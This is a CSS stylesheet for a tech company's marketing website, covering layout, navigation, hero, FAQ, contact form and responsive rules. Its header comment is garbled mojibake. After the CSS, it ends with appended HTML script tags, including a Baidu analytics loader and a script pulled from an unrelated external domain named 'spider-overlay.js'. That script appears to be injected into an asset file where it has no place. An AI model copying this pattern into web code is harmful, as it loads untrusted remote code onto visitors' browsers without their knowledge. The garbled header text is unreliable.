/* ============================================
   鏁版櫤绉戞妧 (ShuZhi Tech) - 涓绘牱寮忚〃
   Primary: Indigo (#6366f1)
   ============================================ */

/* ---------- CSS Custom Properties ---------- */
:root {
  --pri: #6366f1;
  --pri-light: #818cf8;
  --pri-dark: #4f46e5;
  --pri-rgb: 99, 102, 241;
  --pri-50: #eef2ff;
  --pri-100: #e0e7ff;
  --pri-200: #c7d2fe;
  --bg: #ffffff;
  --bg-alt: #f8fafc;
  --text: #1e293b;
  --text-light: #64748b;
  --text-muted: #94a3b8;
  --border: #e2e8f0;
  --shadow-sm: 0 1px 3px rgba(0, 0, 0, 0.08);
  --shadow-md: 0 4px 14px rgba(0, 0, 0, 0.10);
  --shadow-lg: 0 10px 40px rgba(0, 0, 0, 0.12);
  --radius: 10px;
  --radius-lg: 16px;
  --transition: 0.3s ease;
  --max-width: 1200px;
  --nav-height: 72px;
}

/* ---------- Reset & Base ---------- */
*,
*::before,
*::after {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}

html {
  scroll-behavior: smooth;
  scroll-padding-top: calc(var(--nav-height) + 20px);
}

body {
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "PingFang SC",
    "Microsoft YaHei", "Helvetica Neue", sans-serif;
  font-size: 16px;
  line-height: 1.7;
  color: var(--text);
  background: var(--bg);
  -webkit-font-smoothing: antialiased;
}

a {
  text-decoration: none;
  color: inherit;
}

ul {
  list-style: none;
}

img {
  max-width: 100%;
  display: block;
}

button {
  cursor: pointer;
  font-family: inherit;
  border: none;
  background: none;
}

.container {
  width: 100%;
  max-width: var(--max-width);
  margin: 0 auto;
  padding: 0 24px;
}

section {
  padding: 80px 0;
}

/* ---------- Navbar ---------- */
.navbar {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: var(--nav-height);
  z-index: 1000;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 0 24px;
  transition: background var(--transition), box-shadow var(--transition),
    backdrop-filter var(--transition);
  background: transparent;
}

.navbar.scrolled {
  background: rgba(255, 255, 255, 0.92);
  backdrop-filter: blur(12px);
  -webkit-backdrop-filter: blur(12px);
  box-shadow: var(--shadow-sm);
}

.navbar .logo {
  font-size: 1.4rem;
  font-weight: 700;
  color: var(--text);
  display: flex;
  align-items: center;
  gap: 8px;
  z-index: 1001;
}

.navbar .logo i {
  color: var(--pri);
  font-size: 1.5rem;
}

.nav-links {
  display: flex;
  align-items: center;
  gap: 2px;
}

.nav-links a {
  font-size: 0.95rem;
  font-weight: 500;
  color: var(--text-light);
  position: relative;
  transition: color var(--transition);
  padding: 8px 16px;
  border-radius: 6px;
}

.nav-links a::after {
  content: "";
  position: absolute;
  bottom: 2px;
  left: 50%;
  transform: translateX(-50%);
  width: 0;
  height: 2px;
  background: var(--pri);
  border-radius: 1px;
  transition: width var(--transition);
}

.nav-links a:hover,
.nav-links a.active {
  color: var(--pri);
}

.nav-links a:hover::after,
.nav-links a.active::after {
  width: 60%;
}

.scrolled .nav-links a {
  color: var(--text-light);
}

.scrolled .nav-links a:hover,
.scrolled .nav-links a.active {
  color: var(--pri);
}

/* Hamburger */
.hamburger {
  display: none;
  flex-direction: column;
  gap: 5px;
  cursor: pointer;
  z-index: 1001;
  padding: 4px;
}

.hamburger span {
  display: block;
  width: 25px;
  height: 2.5px;
  background: var(--text);
  border-radius: 2px;
  transition: var(--transition);
}

.scrolled .hamburger span {
  background: var(--text);
}

.hamburger.open span:nth-child(1) {
  transform: rotate(45deg) translate(5px, 5px);
}

.hamburger.open span:nth-child(2) {
  opacity: 0;
}

.hamburger.open span:nth-child(3) {
  transform: rotate(-45deg) translate(6px, -5px);
}

/* Mobile menu overlay */
.menu-overlay {
  display: none;
  position: fixed;
  inset: 0;
  background: rgba(0, 0, 0, 0.4);
  z-index: 998;
  opacity: 0;
  pointer-events: none;
  transition: opacity var(--transition);
}

.menu-overlay.active {
  opacity: 1;
  pointer-events: auto;
}

/* ---------- Hero ---------- */
.hero {
  padding: 160px 0 100px;
  background: linear-gradient(
    135deg,
    rgba(var(--pri-rgb), 0.04) 0%,
    rgba(var(--pri-rgb), 0.10) 40%,
    rgba(var(--pri-rgb), 0.04) 100%
  );
  text-align: center;
  position: relative;
  overflow: hidden;
}

.hero::before {
  content: "";
  position: absolute;
  top: -50%;
  left: -50%;
  width: 200%;
  height: 200%;
  background: radial-gradient(
      circle at 25% 15%,
      rgba(var(--pri-rgb), 0.07) 0%,
      transparent 45%
    ),
    radial-gradient(
      circle at 75% 65%,
      rgba(var(--pri-rgb), 0.05) 0%,
      transparent 40%
    );
  pointer-events: none;
}

.hero-content {
  position: relative;
  z-index: 1;
}

.hero h1 {
  font-size: 3rem;
  font-weight: 800;
  line-height: 1.25;
  margin-bottom: 20px;
  color: var(--text);
}

.hero h1 span {
  background: linear-gradient(135deg, var(--pri) 0%, #a78bfa 100%);
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  background-clip: text;
}

.hero p {
  font-size: 1.15rem;
  color: var(--text-light);
  max-width: 600px;
  margin: 0 auto 36px;
  line-height: 1.8;
}

.hero-btns {
  display: flex;
  gap: 16px;
  justify-content: center;
  flex-wrap: wrap;
}

.btn {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  padding: 14px 32px;
  font-size: 1rem;
  font-weight: 600;
  border-radius: 50px;
  transition: transform var(--transition), box-shadow var(--transition),
    background var(--transition);
}

.btn-primary {
  background: var(--pri);
  color: #fff;
  box-shadow: 0 4px 16px rgba(var(--pri-rgb), 0.35);
}

.btn-primary:hover {
  background: var(--pri-dark);
  transform: translateY(-2px);
  box-shadow: 0 6px 24px rgba(var(--pri-rgb), 0.45);
}

.btn-outline {
  border: 2px solid var(--pri);
  color: var(--pri);
}

.btn-outline:hover {
  background: var(--pri);
  color: #fff;
}

.hero-img {
  margin-top: 48px;
  border-radius: var(--radius-lg);
  overflow: hidden;
  box-shadow: var(--shadow-lg);
  max-width: 800px;
  margin-left: auto;
  margin-right: auto;
}

.hero-img img {
  width: 100%;
  height: auto;
  object-fit: cover;
}

/* ---------- Section Headers ---------- */
.section-header {
  text-align: center;
  margin-bottom: 48px;
}

.section-label {
  display: inline-block;
  padding: 6px 16px;
  background: rgba(var(--pri-rgb), 0.1);
  color: var(--pri);
  font-size: 0.82rem;
  font-weight: 600;
  border-radius: 50px;
  margin-bottom: 12px;
  letter-spacing: 0.02em;
}

.section-title {
  font-size: 2.2rem;
  font-weight: 700;
  margin-bottom: 10px;
  color: var(--text);
}

.section-subtitle {
  font-size: 1.05rem;
  color: var(--text-light);
  max-width: 560px;
  margin: 0 auto;
}

.text-center {
  text-align: center;
}

.mx-auto {
  margin-left: auto;
  margin-right: auto;
}

/* ---------- Features ---------- */
.features {
  background: var(--bg);
}

.features-grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 28px;
}

.feature-card {
  background: var(--bg);
  border: 1px solid var(--border);
  border-radius: var(--radius-lg);
  padding: 36px 28px;
  transition: transform var(--transition), box-shadow var(--transition);
  text-align: center;
}

.feature-card:hover {
  transform: translateY(-6px);
  box-shadow: var(--shadow-lg);
  border-color: var(--pri-200);
}

.feature-icon {
  width: 58px;
  height: 58px;
  border-radius: 14px;
  background: rgba(var(--pri-rgb), 0.1);
  display: flex;
  align-items: center;
  justify-content: center;
  margin: 0 auto 20px;
  transition: background var(--transition);
}

.feature-card:hover .feature-icon {
  background: var(--pri);
}

.feature-card:hover .feature-icon i {
  color: #fff;
}

.feature-icon i {
  font-size: 1.5rem;
  color: var(--pri);
  transition: color var(--transition);
}

.feature-card h3 {
  font-size: 1.15rem;
  font-weight: 700;
  margin-bottom: 8px;
}

.feature-card p {
  font-size: 0.92rem;
  color: var(--text-light);
  line-height: 1.7;
}

/* ---------- Stats ---------- */
.stats-bar {
  background: linear-gradient(
    135deg,
    rgba(var(--pri-rgb), 0.04) 0%,
    rgba(var(--pri-rgb), 0.10) 100%
  );
  padding: 64px 0;
}

.stats-grid {
  display: grid;
  grid-template-columns: repeat(4, 1fr);
  gap: 24px;
  text-align: center;
}

.stat-item h3 {
  font-size: 2.6rem;
  font-weight: 800;
  color: var(--pri);
  margin-bottom: 6px;
  line-height: 1.1;
}

.stat-item p {
  font-size: 0.95rem;
  color: var(--text-light);
}

/* ---------- Testimonials ---------- */
.testimonials {
  background: var(--bg);
}

.testimonial-grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 28px;
}

.testimonial-card {
  background: var(--bg-alt);
  border: 1px solid var(--border);
  border-radius: var(--radius-lg);
  padding: 32px;
  transition: transform var(--transition), box-shadow var(--transition);
}

.testimonial-card:hover {
  transform: translateY(-4px);
  box-shadow: var(--shadow-md);
}

.testimonial-card .stars {
  color: #f59e0b;
  margin-bottom: 14px;
  font-size: 0.9rem;
}

.testimonial-card .stars i {
  margin-right: 2px;
}

.testimonial-card blockquote {
  font-size: 0.95rem;
  color: var(--text-light);
  line-height: 1.7;
  font-style: italic;
  margin-bottom: 18px;
}

.testimonial-author {
  border-top: 1px solid var(--border);
  padding-top: 14px;
}

.testimonial-author .name {
  font-weight: 600;
  color: var(--text);
  font-size: 0.93rem;
}

.testimonial-author .role {
  font-size: 0.83rem;
  color: var(--text-muted);
}

/* ---------- FAQ ---------- */
.faq {
  background: var(--bg-alt);
}

.faq-list {
  max-width: 760px;
  margin: 0 auto;
  display: flex;
  flex-direction: column;
  gap: 12px;
}

.faq-item {
  background: var(--bg);
  border: 1px solid var(--border);
  border-radius: var(--radius);
  overflow: hidden;
  transition: border-color var(--transition), box-shadow var(--transition);
}

.faq-item.active {
  border-color: var(--pri-200);
  box-shadow: 0 2px 12px rgba(var(--pri-rgb), 0.08);
}

.faq-question {
  width: 100%;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 20px 24px;
  font-size: 1rem;
  font-weight: 600;
  color: var(--text);
  text-align: left;
  cursor: pointer;
  transition: color var(--transition);
}

.faq-question:hover {
  color: var(--pri);
}

.faq-question i {
  font-size: 0.85rem;
  color: var(--text-muted);
  transition: transform 0.35s ease;
  flex-shrink: 0;
  margin-left: 16px;
}

.faq-item.active .faq-question i {
  transform: rotate(180deg);
  color: var(--pri);
}

.faq-answer {
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.4s ease, padding 0.4s ease;
}

.faq-item.active .faq-answer {
  max-height: 300px;
}

.faq-answer p {
  padding: 0 24px 20px;
  font-size: 0.93rem;
  color: var(--text-light);
  line-height: 1.7;
}

/* ---------- CTA ---------- */
.cta {
  background: linear-gradient(135deg, var(--pri) 0%, var(--pri-dark) 100%);
  text-align: center;
  padding: 80px 0;
  color: #fff;
  position: relative;
  overflow: hidden;
}

.cta::before {
  content: "";
  position: absolute;
  inset: 0;
  background: radial-gradient(
    circle at 50% 30%,
    rgba(255, 255, 255, 0.06) 0%,
    transparent 60%
  );
  pointer-events: none;
}

.cta .container {
  position: relative;
  z-index: 1;
}

.cta h2 {
  font-size: 2rem;
  font-weight: 700;
  margin-bottom: 12px;
}

.cta p {
  font-size: 1.05rem;
  opacity: 0.9;
  margin-bottom: 32px;
  max-width: 520px;
  margin-left: auto;
  margin-right: auto;
  line-height: 1.7;
}

.cta .btn {
  background: #fff;
  color: var(--pri);
  box-shadow: 0 4px 16px rgba(0, 0, 0, 0.2);
}

.cta .btn:hover {
  background: #f1f5f9;
  transform: translateY(-2px);
  box-shadow: 0 6px 24px rgba(0, 0, 0, 0.25);
}

/* ---------- Footer ---------- */
.footer {
  background: #0f172a;
  color: #cbd5e1;
  padding: 56px 0 28px;
}

.footer-grid {
  display: grid;
  grid-template-columns: 2fr 1fr 1fr 1fr;
  gap: 40px;
  margin-bottom: 40px;
}

.footer-brand h3 {
  display: flex;
  align-items: center;
  gap: 8px;
  color: #fff;
  font-size: 1.3rem;
  margin-bottom: 12px;
}

.footer-brand h3 i {
  color: var(--pri-light);
}

.footer-brand p {
  font-size: 0.9rem;
  line-height: 1.7;
  color: #94a3b8;
  max-width: 300px;
}

.footer-col h4 {
  color: #fff;
  font-size: 0.95rem;
  font-weight: 600;
  margin-bottom: 16px;
}

.footer-col ul li {
  margin-bottom: 10px;
}

.footer-col a {
  font-size: 0.9rem;
  color: #94a3b8;
  transition: color var(--transition);
}

.footer-col a:hover {
  color: var(--pri-light);
}

.footer-bottom {
  border-top: 1px solid #1e293b;
  padding-top: 22px;
  text-align: center;
  font-size: 0.85rem;
  color: #64748b;
}

/* ---------- Page Header (Sub-pages) ---------- */
.page-header {
  padding: 140px 0 60px;
  background: linear-gradient(
    135deg,
    rgba(var(--pri-rgb), 0.05) 0%,
    rgba(var(--pri-rgb), 0.12) 100%
  );
  text-align: center;
}

.page-header h1 {
  font-size: 2.5rem;
  font-weight: 800;
  margin-bottom: 10px;
  color: var(--text);
}

.page-header p {
  font-size: 1.05rem;
  color: var(--text-light);
  max-width: 500px;
  margin: 0 auto;
}

/* ---------- About ---------- */
.about-page {
  padding: 80px 0;
  background: var(--bg);
}

.about-grid {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 60px;
  align-items: center;
}

.about-grid .about-text h2 {
  font-size: 1.8rem;
  font-weight: 700;
  margin-bottom: 16px;
}

.about-grid .about-text p {
  color: var(--text-light);
  line-height: 1.8;
  margin-bottom: 16px;
}

.about-grid .about-image {
  border-radius: var(--radius-lg);
  overflow: hidden;
  box-shadow: var(--shadow-lg);
}

.about-grid .about-image img {
  width: 100%;
  height: 100%;
  object-fit: cover;
  aspect-ratio: 4/3;
}

/* ---------- Services List ---------- */
.services-page {
  padding: 80px 0;
  background: var(--bg);
}

.services-grid {
  display: grid;
  grid-template-columns: repeat(2, 1fr);
  gap: 24px;
}

.service-item {
  background: var(--bg);
  border: 1px solid var(--border);
  border-radius: var(--radius-lg);
  padding: 32px;
  transition: transform var(--transition), box-shadow var(--transition);
  display: flex;
  gap: 20px;
  align-items: flex-start;
}

.service-item:hover {
  transform: translateY(-4px);
  box-shadow: var(--shadow-md);
  border-color: var(--pri-200);
}

.service-item .service-icon {
  width: 50px;
  height: 50px;
  min-width: 50px;
  border-radius: 12px;
  background: rgba(var(--pri-rgb), 0.1);
  display: flex;
  align-items: center;
  justify-content: center;
}

.service-item .service-icon i {
  font-size: 1.3rem;
  color: var(--pri);
}

.service-item .service-info h3 {
  font-size: 1.1rem;
  font-weight: 700;
  margin-bottom: 6px;
  color: var(--text);
}

.service-item .service-info p {
  font-size: 0.92rem;
  color: var(--text-light);
  line-height: 1.7;
}

/* ---------- Contact ---------- */
.contact-page {
  padding: 80px 0;
  background: var(--bg);
}

.contact-grid {
  display: grid;
  grid-template-columns: 1fr 1.2fr;
  gap: 60px;
}

.contact-info h2 {
  font-size: 1.8rem;
  font-weight: 700;
  margin-bottom: 12px;
}

.contact-info > p {
  color: var(--text-light);
  margin-bottom: 32px;
  line-height: 1.7;
}

.contact-detail {
  display: flex;
  gap: 16px;
  align-items: flex-start;
  margin-bottom: 24px;
}

.contact-detail .contact-icon {
  width: 44px;
  height: 44px;
  min-width: 44px;
  border-radius: 12px;
  background: rgba(var(--pri-rgb), 0.1);
  display: flex;
  align-items: center;
  justify-content: center;
}

.contact-detail .contact-icon i {
  font-size: 1.1rem;
  color: var(--pri);
}

.contact-detail h4 {
  font-size: 0.95rem;
  font-weight: 600;
  margin-bottom: 2px;
}

.contact-detail p {
  font-size: 0.9rem;
  color: var(--text-light);
}

.contact-form-box {
  background: var(--bg-alt);
  border: 1px solid var(--border);
  border-radius: var(--radius-lg);
  padding: 36px;
}

.contact-form-box h3 {
  font-size: 1.3rem;
  font-weight: 700;
  margin-bottom: 24px;
}

.form-group {
  margin-bottom: 20px;
}

.form-group label {
  display: block;
  font-size: 0.88rem;
  font-weight: 600;
  margin-bottom: 6px;
  color: var(--text);
}

.form-group input,
.form-group textarea {
  width: 100%;
  padding: 12px 16px;
  border: 1px solid var(--border);
  border-radius: var(--radius);
  font-size: 0.95rem;
  font-family: inherit;
  color: var(--text);
  background: var(--bg);
  transition: border-color var(--transition), box-shadow var(--transition);
}

.form-group input:focus,
.form-group textarea:focus {
  outline: none;
  border-color: var(--pri);
  box-shadow: 0 0 0 3px rgba(var(--pri-rgb), 0.12);
}

.form-group textarea {
  resize: vertical;
  min-height: 130px;
}

/* ---------- Responsive ---------- */
@media (max-width: 1024px) {
  .features-grid {
    grid-template-columns: repeat(2, 1fr);
  }

  .footer-grid {
    grid-template-columns: 1fr 1fr;
  }

  .about-grid {
    grid-template-columns: 1fr;
    gap: 40px;
  }

  .contact-grid {
    grid-template-columns: 1fr;
    gap: 40px;
  }
}

@media (max-width: 768px) {
  .hero h1 {
    font-size: 2rem;
  }

  .section-title {
    font-size: 1.7rem;
  }

  .features-grid {
    grid-template-columns: 1fr;
  }

  .stats-grid {
    grid-template-columns: repeat(2, 1fr);
  }

  .testimonial-grid {
    grid-template-columns: 1fr;
  }

  .services-grid {
    grid-template-columns: 1fr;
  }

  .page-header h1 {
    font-size: 1.8rem;
  }

  /* Mobile Menu */
  .hamburger {
    display: flex;
  }

  .menu-overlay {
    display: block;
  }

  .nav-links {
    position: fixed;
    top: 0;
    right: -100%;
    width: 260px;
    height: 100vh;
    flex-direction: column;
    align-items: flex-start;
    padding: 100px 32px 40px;
    background: var(--bg);
    box-shadow: -4px 0 24px rgba(0, 0, 0, 0.1);
    transition: right var(--transition);
    gap: 0;
  }

  .nav-links a {
    display: block;
    width: 100%;
    padding: 12px 0;
    font-size: 1rem;
    border-bottom: 1px solid var(--border);
  }

  .nav-links a::after {
    display: none;
  }

  .nav-links.open {
    right: 0;
  }

  .footer-grid {
    grid-template-columns: 1fr;
    gap: 32px;
  }

  .hero {
    padding: 120px 0 60px;
  }

  .cta h2 {
    font-size: 1.6rem;
  }
}

@media (max-width: 480px) {
  .hero h1 {
    font-size: 1.6rem;
  }

  section {
    padding: 48px 0;
  }

  .stats-grid {
    gap: 20px;
  }

  .stat-item h3 {
    font-size: 2rem;
  }

  .btn {
    padding: 12px 24px;
    font-size: 0.95rem;
  }

  .service-item {
    flex-direction: column;
  }
}
<script>
var _hmt = _hmt || [];
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  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>